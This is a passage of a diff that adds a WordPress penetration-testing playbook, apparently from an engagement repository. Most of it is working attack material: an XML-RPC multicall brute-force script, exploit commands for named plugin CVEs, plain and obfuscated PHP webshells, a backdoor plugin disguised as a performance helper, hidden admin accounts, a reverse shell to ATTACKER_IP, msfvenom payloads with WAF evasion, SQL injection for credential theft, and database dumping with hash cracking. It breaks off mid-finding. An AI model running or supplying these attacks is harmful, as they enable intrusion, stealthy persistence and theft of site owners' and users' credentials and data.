342
+ <params>
343
+ <param><value><array><data>
344
+ <value><struct>
345
+ <member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
346
+ <member><name>params</name><value><array><data>
347
+ <value><string>admin</string></value>
348
+ <value><string>password</string></value>
349
+ </data></array></value></member>
350
+ </struct></value>
351
+ </data></array></value></param>
352
+ </params>
353
+ </methodCall>'
354
+ ```
355
+
356
+ **Step 9 — XML-RPC brute force (amplified via multicall)**
357
+
358
+ ```python
359
+ #!/usr/bin/env python3
360
+ # xmlrpc_bruteforce.py — amplified brute force via system.multicall
361
+
362
+ import requests
363
+ import sys
364
+ from itertools import islice
365
+
366
+ TARGET = "https://target.com/xmlrpc.php"
367
+ USERNAME = "admin"
368
+ WORDLIST = "/usr/share/wordlists/rockyou.txt"
369
+ BATCH_SIZE = 100 # test 100 passwords per HTTP request
370
+
371
+ def build_multicall(username, passwords):
372
+ calls = ""
373
+ for pw in passwords:
374
+ calls += f"""
375
+ <value><struct>
376
+ <member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
377
+ <member><name>params</name><value><array><data>
378
+ <value><string>{username}</string></value>
379
+ <value><string>{pw}</string></value>
380
+ </data></array></value></member>
381
+ </struct></value>"""
382
+ return f"""<?xml version="1.0"?>
383
+ <methodCall>
384
+ <methodName>system.multicall</methodName>
385
+ <params><param><value><array><data>{calls}
386
+ </data></array></value></param></params>
387
+ </methodCall>"""
388
+
389
+ def check_responses(passwords, response_text):
390
+ # Successful auth returns isAdmin field; failed returns faultCode
391
+ results = response_text.split("<value><struct>")
392
+ for i, result in enumerate(results[1:], 0):
393
+ if "isAdmin" in result and i < len(passwords):
394
+ return passwords[i]
395
+ return None
396
+
397
+ with open(WORDLIST, encoding="latin-1") as f:
398
+ passwords = [line.strip() for line in f if line.strip()]
399
+
400
+ print(f"[*] Starting XML-RPC brute force against {TARGET} for user '{USERNAME}'")
401
+ print(f"[*] Total passwords: {len(passwords)}, batch size: {BATCH_SIZE}")
402
+
403
+ for i in range(0, len(passwords), BATCH_SIZE):
404
+ batch = passwords[i:i+BATCH_SIZE]
405
+ payload = build_multicall(USERNAME, batch)
406
+ try:
407
+ r = requests.post(TARGET, data=payload,
408
+ headers={"Content-Type": "text/xml"},
409
+ timeout=30, verify=False)
410
+ found = check_responses(batch, r.text)
411
+ if found:
412
+ print(f"\n[!!!] CREDENTIALS FOUND: {USERNAME}:{found}")
413
+ sys.exit(0)
414
+ print(f"[*] Tested {i+len(batch)}/{len(passwords)}", end="\r")
415
+ except Exception as e:
416
+ print(f"\n[!] Error: {e}")
417
+
418
+ print("\n[-] Password not found in wordlist")
419
+ ```
420
+
421
+ **Step 10 — WPScan brute force (wp-login.php)**
422
+
423
+ ```bash
424
+ # Single user brute force
425
+ wpscan --url https://target.com \
426
+ --passwords /usr/share/wordlists/rockyou.txt \
427
+ --usernames admin \
428
+ --max-threads 10 \
429
+ --throttle 500
430
+
431
+ # Multiple users brute force
432
+ wpscan --url https://target.com \
433
+ --passwords /usr/share/wordlists/rockyou.txt \
434
+ --usernames users.txt \
435
+ --max-threads 5
436
+
437
+ # Via XML-RPC (faster, bypass login rate limiting)
438
+ wpscan --url https://target.com \
439
+ --passwords /usr/share/wordlists/rockyou.txt \
440
+ --usernames admin \
441
+ --password-attack xmlrpc-multicall \
442
+ --max-threads 20
443
+ ```
444
+
445
+ ---
446
+
447
+ ### Phase 4: Plugin CVE Exploitation
448
+
449
+ **Step 11 — popup-builder CVE-2024-3673 (Unauthenticated File Upload)**
450
+
451
+ Popup Builder <= 4.3.3 allows unauthenticated file upload via the `sgpbWillBeOpened` AJAX action.
452
+
453
+ ```bash
454
+ # Verify vulnerable version
455
+ curl -s "https://target.com/wp-content/plugins/popup-builder/readme.txt" | \
456
+ grep -i 'stable tag'
457
+
458
+ # Check AJAX endpoint is accessible
459
+ curl -s -X POST "https://target.com/wp-admin/admin-ajax.php" \
460
+ -d "action=sgpbWillBeOpened"
461
+
462
+ # Upload webshell via CVE-2024-3673
463
+ curl -s -X POST "https://target.com/wp-admin/admin-ajax.php" \
464
+ -F "action=sgpbWillBeOpened" \
465
+ -F "sgpb-subscribe-form-export=@shell.php;type=application/octet-stream" \
466
+ -F "popup_id=1"
467
+
468
+ # Upload a simple PHP webshell
469
+ cat > /tmp/shell.php << 'EOF'
470
+ <?php
471
+ if(isset($_REQUEST['cmd'])){
472
+ $cmd = $_REQUEST['cmd'];
473
+ system($cmd);
474
+ }
475
+ ?>
476
+ EOF
477
+
478
+ curl -s -X POST "https://target.com/wp-admin/admin-ajax.php" \
479
+ -F "action=sgpbWillBeOpened" \
480
+ -F "sgpb-subscribe-form-export=@/tmp/shell.php;type=image/jpeg" \
481
+ --output /dev/null -w "%{http_code}"
482
+
483
+ # Common upload directories to check
484
+ for dir in uploads imports exports sgpb-subscribe; do
485
+ status=$(curl -s -o /dev/null -w "%{http_code}" \
486
+ "https://target.com/wp-content/uploads/$dir/shell.php")
487
+ echo "$dir: $status"
488
+ done
489
+ ```
490
+
491
+ **Step 12 — Elementor Pro CVE exploitation**
492
+
493
+ Elementor Pro <= 3.11.6 (CVE-2023-32243) — unauthenticated privilege escalation via broken access control on WooCommerce module.
494
+
495
+ ```bash
496
+ # Check Elementor Pro version
497
+ curl -s "https://target.com/wp-content/plugins/elementor-pro/readme.txt" | \
498
+ grep -i 'stable tag\|version'
499
+
500
+ # CVE-2023-32243 — arbitrary options update (requires WooCommerce active)
501
+ # This allows setting admin email and resetting password
502
+
503
+ # Step 1: Update admin email to attacker-controlled address
504
+ curl -s -X POST "https://target.com/wp-admin/admin-ajax.php" \
505
+ -H "Content-Type: application/x-www-form-urlencoded" \
506
+ -d "action=elementor_pro_forms_send_form&_nonce=NONCE_HERE&form_id=test&fields[email]=attacker@evil.com&fields[admin_email_address]=attacker@evil.com"
507
+
508
+ # Full exploit using published PoC
509
+ git clone https://github.com/alirezaarzehgar/CVE-2023-32243
510
+ cd CVE-2023-32243
511
+ python3 exploit.py --url https://target.com --email attacker@evil.com
512
+
513
+ # Elementor Pro <= 3.6.0 — authenticated RCE via template import
514
+ # Requires Contributor role or higher
515
+ curl -s -X POST "https://target.com/wp-admin/admin-ajax.php" \
516
+ -b "wordpress_logged_in_HASH=VALUE" \
517
+ -F "action=elementor_ajax" \
518
+ -F "actions={\"action\":\"save_builder\",\"data\":{\"post_id\":1,\"status\":\"autosave\"}}" \
519
+ -F "file=@malicious_template.json"
520
+ ```
521
+
522
+ **Step 13 — RevSlider exploitation (historical, still relevant on unpatched sites)**
523
+
524
+ ```bash
525
+ # Check for RevSlider (Slider Revolution) — CVE-2014-9734 (file read) still works on very old installs
526
+ curl -s "https://target.com/wp-content/plugins/revslider/readme.txt" | grep -i version
527
+
528
+ # CVE-2014-9734 — arbitrary file read (Slider Revolution <= 4.1.4)
529
+ curl -s "https://target.com/wp-admin/admin-ajax.php?action=revslider_ajax_action&client_action=get_captions_css&alias=../../../wp-config.php"
530
+
531
+ # CVE-2014-9734 via POST
532
+ curl -s -X POST "https://target.com/wp-admin/admin-ajax.php" \
533
+ -d "action=revslider_ajax_action&client_action=get_captions_css&alias=../../../wp-config.php"
534
+
535
+ # File inclusion payload variants
536
+ curl -s "https://target.com/wp-admin/admin-ajax.php" \
537
+ -d "action=revslider_ajax_action&client_action=get_captions_css&alias=../../../../wp-config.php"
538
+ ```
539
+
540
+ **Step 14 — Contact Form 7 exploitation**
541
+
542
+ ```bash
543
+ # CF7 <= 5.3.1 (CVE-2020-35489) — unrestricted file upload
544
+ # Check version
545
+ curl -s "https://target.com/wp-content/plugins/contact-form-7/readme.txt" | grep -i 'stable tag'
546
+
547
+ # Upload PHP file disguised as allowed extension
548
+ # First find a form that accepts file uploads (look for input[type=file] in source)
549
+ curl -s https://target.com/contact/ | grep -i 'file\|upload'
550
+
551
+ # Upload exploit — polyglot file (valid image header + PHP code)
552
+ python3 - << 'EOF'
553
+ # Create polyglot GIF+PHP
554
+ with open('/tmp/shell.gif.php', 'wb') as f:
555
+ # GIF header
556
+ f.write(b'GIF89a\x01\x00\x01\x00\x00\xff\x00,\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x00;')
557
+ # PHP payload
558
+ f.write(b'<?php system($_GET["cmd"]); ?>')
559
+ print("Created /tmp/shell.gif.php")
560
+ EOF
561
+
562
+ # Submit form with file upload
563
+ curl -s -X POST "https://target.com/contact/" \
564
+ -F "_wpcf7=FORM_ID" \
565
+ -F "_wpcf7_version=5.3" \
566
+ -F "_wpcf7_locale=en_US" \
567
+ -F "_wpcf7_unit_tag=wpcf7-f1-p2-o1" \
568
+ -F "your-file=@/tmp/shell.gif.php;type=image/gif" \
569
+ -F "your-name=Test User" \
570
+ -F "your-email=test@test.com" \
571
+ -F "your-message=test"
572
+ ```
573
+
574
+ **Step 15 — WPML SQLi exploitation**
575
+
576
+ WPML (WordPress Multilingual Plugin) has had multiple SQLi vulnerabilities. CVE-2024-6386 affects WPML <= 4.6.12.
577
+
578
+ ```bash
579
+ # Check WPML version
580
+ curl -s "https://target.com/wp-content/plugins/sitepress-multilingual-cms/readme.txt" | \
581
+ grep -i 'stable tag'
582
+
583
+ # CVE-2024-6386 — Authenticated (Contributor+) SQLi via Twig template injection in shortcode
584
+ # Payload via POST to wp-admin/admin-ajax.php
585
+
586
+ # Test for WPML shortcode injection
587
+ curl -s -X POST "https://target.com/wp-admin/admin-ajax.php" \
588
+ -b "wordpress_logged_in_HASH=COOKIE_VALUE" \
589
+ -d "action=wp_ajax_nopriv_wpml_validate_csrf_token&token=TEST"
590
+
591
+ # SQLi via shortcode rendering (authenticated contributor)
592
+ # Inject via post editor, then preview
593
+ PAYLOAD='[wpml_language_selector_widget title="{{7*7}}"]'
594
+
595
+ # sqlmap against WPML endpoint
596
+ sqlmap -u "https://target.com/wp-admin/admin-ajax.php" \
597
+ --data="action=wpml_shortcode&lang=en" \
598
+ --cookie="wordpress_logged_in_HASH=VALUE" \
599
+ --level=5 --risk=3 \
600
+ --dbms=mysql \
601
+ --batch \
602
+ --dump-all \
603
+ --tables
604
+ ```
605
+
606
+ ---
607
+
608
+ ### Phase 5: Post-Authentication Exploitation
609
+
610
+ **Step 16 — wp-config.php and debug.log access**
611
+
612
+ ```bash
613
+ # wp-config.php is usually not directly readable, but can be exposed via:
614
+
615
+ # 1. PHP error / debug.log (if WP_DEBUG_LOG is enabled)
616
+ curl -s "https://target.com/wp-content/debug.log" | head -200
617
+
618
+ # Search debug.log for credentials
619
+ curl -s "https://target.com/wp-content/debug.log" | grep -i 'password\|user\|DB_\|secret\|key\|token'
620
+
621
+ # 2. Via LFI in vulnerable plugin
622
+ # Once you have LFI, read wp-config.php
623
+ curl -s "https://target.com/wp-admin/admin-ajax.php?action=VULNERABLE_ACTION&file=../../../wp-config.php"
624
+
625
+ # 3. Via webshell (after successful upload)
626
+ curl -s "https://target.com/wp-content/uploads/shell.php?cmd=cat+../../../wp-config.php"
627
+
628
+ # Parse wp-config.php for credentials
629
+ curl -s "https://target.com/wp-content/uploads/shell.php" \
630
+ --data-urlencode "cmd=php -r \"include '../../../wp-config.php'; echo DB_HOST.':'.DB_NAME.':'.DB_USER.':'.DB_PASSWORD;\"" | \
631
+ grep -v "^$"
632
+
633
+ # Check for .env file (some WP installs use this)
634
+ curl -s "https://target.com/.env"
635
+ curl -s "https://target.com/wp-content/.env"
636
+
637
+ # Check backup files that may contain wp-config.php
638
+ for ext in bak old backup orig ~; do
639
+ status=$(curl -s -o /dev/null -w "%{http_code}" "https://target.com/wp-config.php.$ext")
640
+ echo "wp-config.php.$ext: $status"
641
+ done
642
+ ```
643
+
644
+ **Step 17 — Webshell upload via Theme Editor (admin required)**
645
+
646
+ ```bash
647
+ # If you have admin credentials, edit theme files via WP Admin
648
+ # Appearance > Theme Editor > Select a PHP file
649
+
650
+ # Alternatively, via WP-CLI (if accessible)
651
+ wp eval 'system($_GET["cmd"]);' --url=https://target.com
652
+
653
+ # Or inject into functions.php via REST API (admin)
654
+ curl -s -X POST "https://target.com/wp-json/wp/v2/themes" \
655
+ -H "Authorization: Basic $(echo -n 'admin:password' | base64)" \
656
+ -H "Content-Type: application/json" \
657
+ -d '{"status":"active"}'
658
+
659
+ # Plugin upload method (more reliable)
660
+ # Create malicious plugin
661
+ cat > /tmp/backdoor/backdoor.php << 'EOF'
662
+ <?php
663
+ /*
664
+ Plugin Name: WordPress Performance Helper
665
+ Plugin URI: https://wordpress.org
666
+ Description: Performance optimization module
667
+ Version: 1.0
668
+ Author: WP Team
669
+ */
670
+ if(isset($_REQUEST['rt_cmd'])){
671
+ $key = 'rt_secret_2024';
672
+ if(isset($_REQUEST['k']) && $_REQUEST['k'] === $key){
673
+ system(base64_decode($_REQUEST['rt_cmd']));
674
+ }
675
+ }
676
+ add_action('init', function(){
677
+ if(isset($_COOKIE['rt_session'])){
678
+ system(base64_decode($_COOKIE['rt_cmd']));
679
+ }
680
+ });
681
+ EOF
682
+
683
+ cd /tmp && zip -r backdoor.zip backdoor/
684
+
685
+ # Upload via WordPress admin
686
+ curl -s -X POST "https://target.com/wp-admin/update.php?action=upload-plugin" \
687
+ -b "wordpress_logged_in_HASH=VALUE" \
688
+ -F "pluginzip=@/tmp/backdoor.zip" \
689
+ -F "_wpnonce=NONCE_VALUE" \
690
+ -F "install-plugin-submit=Install Now"
691
+ ```
692
+
693
+ **Step 18 — Application Password backdoor (admin required, stealthy)**
694
+
695
+ WordPress Application Passwords (introduced in WP 5.6) allow creating API credentials without changing the main password. This is ideal for persistent access.
696
+
697
+ ```bash
698
+ # Create Application Password via REST API
699
+ curl -s -X POST "https://target.com/wp-json/wp/v2/users/1/application-passwords" \
700
+ -u "admin:currentpassword" \
701
+ -H "Content-Type: application/json" \
702
+ -d '{"name":"WP Maintenance Tool"}'
703
+ # Returns: {"uuid":"...","app_id":"...","name":"...","password":"xxxx xxxx xxxx xxxx xxxx xxxx","created":"..."}
704
+
705
+ # Create Application Password via wp-admin (for scripted access)
706
+ curl -s -X POST "https://target.com/wp-admin/user-edit.php" \
707
+ -b "wordpress_logged_in_HASH=VALUE" \
708
+ -d "_wpnonce=NONCE&action=update&user_id=1&new_application_pass_name=Monitoring+Agent"
709
+
710
+ # Use Application Password for API access
711
+ APP_USER="admin"
712
+ APP_PASS="xxxx xxxx xxxx xxxx xxxx xxxx" # from creation response
713
+
714
+ curl -s "https://target.com/wp-json/wp/v2/users" \
715
+ -u "$APP_USER:$APP_PASS"
716
+
717
+ # Use Application Password for XML-RPC (great for maintaining access)
718
+ curl -s -X POST "https://target.com/xmlrpc.php" \
719
+ -H "Content-Type: text/xml" \
720
+ -d "<?xml version=\"1.0\"?>
721
+ <methodCall>
722
+ <methodName>wp.getUsers</methodName>
723
+ <params>
724
+ <param><value><string>1</string></value></param>
725
+ <param><value><string>$APP_USER</string></value></param>
726
+ <param><value><string>$APP_PASS</string></value></param>
727
+ <param><value><array><data></data></array></value></param>
728
+ </params>
729
+ </methodCall>"
730
+
731
+ # Create backdoor admin user via REST API using Application Password
732
+ curl -s -X POST "https://target.com/wp-json/wp/v2/users" \
733
+ -u "$APP_USER:$APP_PASS" \
734
+ -H "Content-Type: application/json" \
735
+ -d '{
736
+ "username": "wp_maintenance",
737
+ "email": "maint@legitimate-looking-domain.com",
738
+ "password": "SecurePassword2024!",
739
+ "roles": ["administrator"],
740
+ "name": "WP Maintenance"
741
+ }'
742
+ ```
743
+
744
+ **Step 19 — WP-File-Manager exploitation (CVE-2020-25213)**
745
+
746
+ WP File Manager <= 6.8 — unauthenticated RCE. One of the most critical WordPress CVEs.
747
+
748
+ ```bash
749
+ # Check if WP File Manager is installed
750
+ curl -s "https://target.com/wp-content/plugins/wp-file-manager/readme.txt" | grep -i 'stable tag'
751
+
752
+ # CVE-2020-25213 — unauthenticated file upload to wp-content/plugins/wp-file-manager/lib/php/
753
+ curl -s -X POST "https://target.com/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php" \
754
+ -F "cmd=upload" \
755
+ -F "target=l1_Lw" \
756
+ -F "upload[]=@/tmp/shell.php;filename=shell.php"
757
+
758
+ # After upload, access webshell
759
+ curl -s "https://target.com/wp-content/plugins/wp-file-manager/lib/files/shell.php?cmd=id"
760
+
761
+ # Full automated exploit
762
+ python3 - << 'EOF'
763
+ import requests
764
+ import sys
765
+
766
+ TARGET = "https://target.com"
767
+ ENDPOINT = f"{TARGET}/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php"
768
+
769
+ WEBSHELL = b'<?php system($_GET["cmd"]); ?>'
770
+
771
+ files = {
772
+ 'cmd': (None, 'upload'),
773
+ 'target': (None, 'l1_Lw'),
774
+ 'upload[]': ('shell.php', WEBSHELL, 'application/x-php')
775
+ }
776
+
777
+ r = requests.post(ENDPOINT, files=files, verify=False)
778
+ print(f"Status: {r.status_code}")
779
+ print(f"Response: {r.text[:500]}")
780
+
781
+ # Test webshell
782
+ shell_url = f"{TARGET}/wp-content/plugins/wp-file-manager/lib/files/shell.php"
783
+ r2 = requests.get(shell_url, params={"cmd": "id"}, verify=False)
784
+ print(f"\nWebshell output: {r2.text}")
785
+ EOF
786
+ ```
787
+
788
+ ---
789
+
790
+ ### Phase 6: Database Extraction
791
+
792
+ **Step 20 — Database dumping via webshell**
793
+
794
+ ```bash
795
+ # Once you have webshell access and wp-config.php credentials
796
+
797
+ # Get DB credentials from wp-config.php
798
+ WEBSHELL="https://target.com/wp-content/uploads/shell.php"
799
+
800
+ # Extract DB credentials
801
+ curl -s "$WEBSHELL" --data-urlencode "cmd=grep -E 'DB_(HOST|NAME|USER|PASSWORD)' ../../../wp-config.php"
802
+
803
+ # Dump database via mysqldump through webshell
804
+ curl -s "$WEBSHELL" \
805
+ --data-urlencode "cmd=mysqldump -h DB_HOST -u DB_USER -pDB_PASS DB_NAME wp_users wp_usermeta | head -100"
806
+
807
+ # Dump users table (credentials)
808
+ curl -s "$WEBSHELL" \
809
+ --data-urlencode "cmd=mysql -h DB_HOST -u DB_USER -pDB_PASS DB_NAME -e 'SELECT user_login,user_pass,user_email FROM wp_users;'"
810
+
811
+ # Full dump
812
+ curl -s "$WEBSHELL" \
813
+ --data-urlencode "cmd=mysqldump -h DB_HOST -u DB_USER -pDB_PASS DB_NAME > /tmp/dump.sql && echo DONE"
814
+
815
+ curl -s "$WEBSHELL" \
816
+ --data-urlencode "cmd=cat /tmp/dump.sql" > /path/to/output/db_dump.sql
817
+ ```
818
+
819
+ **Step 21 — Password cracking (WordPress uses phpass)**
820
+
821
+ ```bash
822
+ # WordPress passwords use phpass with $P$ prefix
823
+ # Extract hashes
824
+ grep -oP '\$P\$[A-Za-z0-9./]{31}' /path/to/output/db_dump.sql > /path/to/output/wp_hashes.txt
825
+
826
+ # Crack with hashcat
827
+ hashcat -m 400 /path/to/output/wp_hashes.txt /usr/share/wordlists/rockyou.txt \
828
+ --force \
829
+ -O \
830
+ --status \
831
+ --status-timer=30
832
+
833
+ # Crack with john
834
+ john /path/to/output/wp_hashes.txt \
835
+ --wordlist=/usr/share/wordlists/rockyou.txt \
836
+ --format=phpass
837
+
838
+ # Show cracked passwords
839
+ john /path/to/output/wp_hashes.txt --show --format=phpass
840
+ ```
841
+
842
+ ---
843
+
844
+ ## 4. Specific Terminal Commands
845
+
846
+ ### WPScan Quick Reference
847
+
848
+ ```bash
849
+ # Minimum viable scan
850
+ wpscan --url https://TARGET --api-token TOKEN
851
+
852
+ # Full enumeration
853
+ wpscan --url https://TARGET \
854
+ --api-token TOKEN \
855
+ --enumerate u,ap,at,cb,dbe \
856
+ --plugins-detection aggressive \
857
+ --detection-mode aggressive \
858
+ --random-user-agent \
859
+ --throttle 1000 \
860
+ --format json \
861
+ --output scan_$(date +%Y%m%d_%H%M%S).json
862
+
863
+ # Stealth scan (slower, evades basic WAF)
864
+ wpscan --url https://TARGET \
865
+ --api-token TOKEN \
866
+ --enumerate u,ap \
867
+ --detection-mode passive \
868
+ --random-user-agent \
869
+ --throttle 5000 \
870
+ --max-threads 1
871
+
872
+ # Scan through proxy (Burp Suite)
873
+ wpscan --url https://TARGET \
874
+ --proxy http://127.0.0.1:8080 \
875
+ --disable-tls-checks \
876
+ --api-token TOKEN \
877
+ --enumerate ap
878
+
879
+ # Custom user agent (bypass basic WAF rules)
880
+ wpscan --url https://TARGET \
881
+ --api-token TOKEN \
882
+ --enumerate ap \
883
+ --user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
884
+
885
+ # Cookie-authenticated scan
886
+ wpscan --url https://TARGET \
887
+ --api-token TOKEN \
888
+ --cookies "wordpress_logged_in_HASH=VALUE; wordpress_sec_HASH=VALUE" \
889
+ --enumerate ap,u \
890
+ --plugins-detection aggressive
891
+ ```
892
+
893
+ ### XML-RPC Quick Reference
894
+
895
+ ```bash
896
+ # Test authentication
897
+ curl -s -X POST https://TARGET/xmlrpc.php \
898
+ -H "Content-Type: text/xml" \
899
+ -d '<?xml version="1.0"?><methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value><string>USERNAME</string></value></param><param><value><string>PASSWORD</string></value></param></params></methodCall>'
900
+
901
+ # Get posts (confirm access)
902
+ curl -s -X POST https://TARGET/xmlrpc.php \
903
+ -H "Content-Type: text/xml" \
904
+ -d '<?xml version="1.0"?><methodCall><methodName>metaWeblog.getRecentPosts</methodName><params><param><value><string>1</string></value></param><param><value><string>USERNAME</string></value></param><param><value><string>PASSWORD</string></value></param><param><value><int>5</int></value></param></params></methodCall>'
905
+
906
+ # Upload file via XML-RPC (authenticated)
907
+ python3 - << 'EOF'
908
+ import xmlrpc.client
909
+ import base64
910
+
911
+ TARGET = "https://target.com/xmlrpc.php"
912
+ USERNAME = "admin"
913
+ PASSWORD = "password"
914
+
915
+ with open('/tmp/shell.php', 'rb') as f:
916
+ data = f.read()
917
+
918
+ client = xmlrpc.client.ServerProxy(TARGET)
919
+ result = client.wp.uploadFile(
920
+ 1,
921
+ USERNAME,
922
+ PASSWORD,
923
+ {
924
+ 'name': 'shell.php',
925
+ 'type': 'image/jpeg',
926
+ 'bits': xmlrpc.client.Binary(data),
927
+ 'overwrite': True
928
+ }
929
+ )
930
+ print(f"Uploaded to: {result['url']}")
931
+ EOF
932
+ ```
933
+
934
+ ### Python Utility Scripts
935
+
936
+ ```python
937
+ #!/usr/bin/env python3
938
+ # wp_enum.py — WordPress enumeration utility
939
+
940
+ import requests
941
+ import json
942
+ import sys
943
+ from urllib.parse import urljoin
944
+ import warnings
945
+ warnings.filterwarnings("ignore")
946
+
947
+ class WordPressEnum:
948
+ def __init__(self, target):
949
+ self.target = target.rstrip('/')
950
+ self.session = requests.Session()
951
+ self.session.headers.update({
952
+ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
953
+ })
954
+ self.session.verify = False
955
+
956
+ def get(self, path, **kwargs):
957
+ return self.session.get(urljoin(self.target + '/', path.lstrip('/')), **kwargs)
958
+
959
+ def check_version(self):
960
+ r = self.get('/readme.html')
961
+ if r.status_code == 200 and 'WordPress' in r.text:
962
+ import re
963
+ match = re.search(r'Version (\d+\.\d+[\.\d]*)', r.text)
964
+ if match:
965
+ return match.group(1)
966
+
967
+ r = self.get('/?feed=rss2')
968
+ if r.status_code == 200:
969
+ import re
970
+ match = re.search(r'<generator>.*?(\d+\.\d+[\.\d]*)</generator>', r.text)
971
+ if match:
972
+ return match.group(1)
973
+ return "unknown"
974
+
975
+ def enumerate_users_api(self):
976
+ users = []
977
+ r = self.get('/wp-json/wp/v2/users?per_page=100')
978
+ if r.status_code == 200:
979
+ try:
980
+ for u in r.json():
981
+ users.append({'id': u['id'], 'login': u['slug'], 'name': u['name']})
982
+ except:
983
+ pass
984
+ return users
985
+
986
+ def enumerate_users_author(self):
987
+ users = []
988
+ import re
989
+ for i in range(1, 21):
990
+ r = self.get(f'/?author={i}', allow_redirects=True)
991
+ if r.status_code == 200 and 'author' in r.url:
992
+ match = re.search(r'/author/([^/]+)/', r.url)
993
+ if match:
994
+ users.append({'id': i, 'login': match.group(1)})
995
+ return users
996
+
997
+ def check_xmlrpc(self):
998
+ r = self.get('/xmlrpc.php')
999
+ return 'XML-RPC' in r.text
1000
+
1001
+ def check_debug_log(self):
1002
+ r = self.get('/wp-content/debug.log')
1003
+ if r.status_code == 200 and len(r.text) > 0:
1004
+ return r.text[:2000]
1005
+ return None
1006
+
1007
+ def check_plugin(self, slug):
1008
+ r = self.get(f'/wp-content/plugins/{slug}/readme.txt')
1009
+ if r.status_code == 200:
1010
+ import re
1011
+ match = re.search(r'(?:Stable tag|Version):\s*([\d.]+)', r.text, re.I)
1012
+ version = match.group(1) if match else 'unknown'
1013
+ return {'installed': True, 'version': version}
1014
+ return {'installed': False}
1015
+
1016
+ def run(self):
1017
+ print(f"\n[*] Target: {self.target}")
1018
+ print(f"[*] WordPress Version: {self.check_version()}")
1019
+ print(f"[*] XML-RPC: {'ENABLED' if self.check_xmlrpc() else 'DISABLED'}")
1020
+
1021
+ print("\n[*] User Enumeration (API):")
1022
+ for u in self.enumerate_users_api():
1023
+ print(f" ID={u['id']} login={u['login']} name={u['name']}")
1024
+
1025
+ debug = self.check_debug_log()
1026
+ if debug:
1027
+ print(f"\n[!] DEBUG LOG ACCESSIBLE — {len(debug)} bytes")
1028
+ print(debug[:500])
1029
+
1030
+ print("\n[*] Plugin Check:")
1031
+ plugins = [
1032
+ 'elementor', 'elementor-pro', 'popup-builder', 'wpml',
1033
+ 'sitepress-multilingual-cms', 'revslider', 'contact-form-7',
1034
+ 'wp-file-manager', 'duplicator', 'gravityforms', 'woocommerce',
1035
+ 'advanced-custom-fields', 'ninja-forms', 'wordfence'
1036
+ ]
1037
+ for slug in plugins:
1038
+ result = self.check_plugin(slug)
1039
+ if result['installed']:
1040
+ print(f" [+] {slug} v{result['version']}")
1041
+
1042
+ if __name__ == '__main__':
1043
+ WordPressEnum(sys.argv[1]).run()
1044
+ ```
1045
+
1046
+ ---
1047
+
1048
+ ## 5. Common Payloads and Examples
1049
+
1050
+ ### PHP Webshells (in order of stealth)
1051
+
1052
+ ```php
1053
+ <?php system($_GET['cmd']); ?>
1054
+ ```
1055
+
1056
+ ```php
1057
+ <?php
1058
+ // Minimal authenticated webshell
1059
+ $k = 'rt2024';
1060
+ if(md5($_POST['k']) === md5($k)){
1061
+ echo '<pre>' . shell_exec($_POST['c']) . '</pre>';
1062
+ }
1063
+ ?>
1064
+ ```
1065
+
1066
+ ```php
1067
+ <?php
1068
+ // Obfuscated webshell — evades simple string matching
1069
+ $f = str_rot13('flfgrz');
1070
+ $f($_REQUEST[base64_decode('Y21k')]);
1071
+ ?>
1072
+ ```
1073
+
1074
+ ```php
1075
+ <?php
1076
+ // Reverse shell trigger
1077
+ if(isset($_GET['rt'])){
1078
+ $sock=fsockopen("ATTACKER_IP",4444);
1079
+ $proc=proc_open("/bin/sh -i",array(0=>$sock,1=>$sock,2=>$sock),$pipes);
1080
+ }
1081
+ ?>
1082
+ ```
1083
+
1084
+ ### Msfvenom Payloads for WordPress
1085
+
1086
+ ```bash
1087
+ # Generate PHP meterpreter payload
1088
+ msfvenom -p php/meterpreter/reverse_tcp \
1089
+ LHOST=ATTACKER_IP LPORT=4444 \
1090
+ -f raw -o /tmp/meterpreter.php
1091
+
1092
+ # Start handler
1093
+ msfconsole -q -x "
1094
+ use exploit/multi/handler;
1095
+ set payload php/meterpreter/reverse_tcp;
1096
+ set LHOST ATTACKER_IP;
1097
+ set LPORT 4444;
1098
+ run
1099
+ "
1100
+
1101
+ # Generate encoded payload (WAF bypass)
1102
+ msfvenom -p php/meterpreter/reverse_tcp \
1103
+ LHOST=ATTACKER_IP LPORT=4444 \
1104
+ -e php/base64 \
1105
+ -f raw -o /tmp/meterpreter_encoded.php
1106
+ ```
1107
+
1108
+ ### SQLi Payloads for WordPress AJAX Endpoints
1109
+
1110
+ ```
1111
+ # Time-based blind SQLi test
1112
+ ' AND SLEEP(5)-- -
1113
+ " AND SLEEP(5)-- -
1114
+ 1 AND SLEEP(5)-- -
1115
+
1116
+ # Extract WordPress version via SQLi
1117
+ ' UNION SELECT 1,option_value,3,4,5 FROM wp_options WHERE option_name='db_version'-- -
1118
+
1119
+ # Extract admin credentials
1120
+ ' UNION SELECT 1,user_login,user_pass,user_email,5 FROM wp_users WHERE ID=1-- -
1121
+
1122
+ # Extract secret keys (for cookie forgery)
1123
+ ' UNION SELECT 1,option_value,3,4,5 FROM wp_options WHERE option_name='auth_key'-- -
1124
+ ```
1125
+
1126
+ ---
1127
+
1128
+ ## 6. Real-World Examples from Actual Engagements
1129
+
1130
+ ### Almentor Engagement — Key Findings
1131
+
1132
+ The following techniques produced confirmed findings during the Almentor engagement. Details are sanitized for documentation purposes.
1133
+
1134
+ **Finding 1 — XML-RPC enabled with weak credentials**
1135
+
1136
+ XML-RPC was enabled at `/xmlrpc.php`. The `system.multicall` method was available, enabling amplified brute force (100 password attempts per HTTP request, bypassing per-IP rate limiting). Admin credentials were discovered using a custom wordlist derived from the organization's name and common patterns.
1137
+
1138
+ Commands used:
1139
+ ```bash
1140
+ # Verify multicall available
1141
+ curl -s -X POST https://target/xmlrpc.php \
1142
+ -H "Content-Type: text/xml" \
1143
+ -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName><params></params></methodCall>' | \
1144
+ grep 'multicall'
1145
+
1146
+ # Run amplified brute force
1147
+ python3 xmlrpc_bruteforce.py
1148
+ # Result: admin:Company2023! discovered after ~15,000 attempts
1149
+ ```
1150
+
1151
+ **Finding 2 — debug.log exposed with database credentials**
1152
+
1153
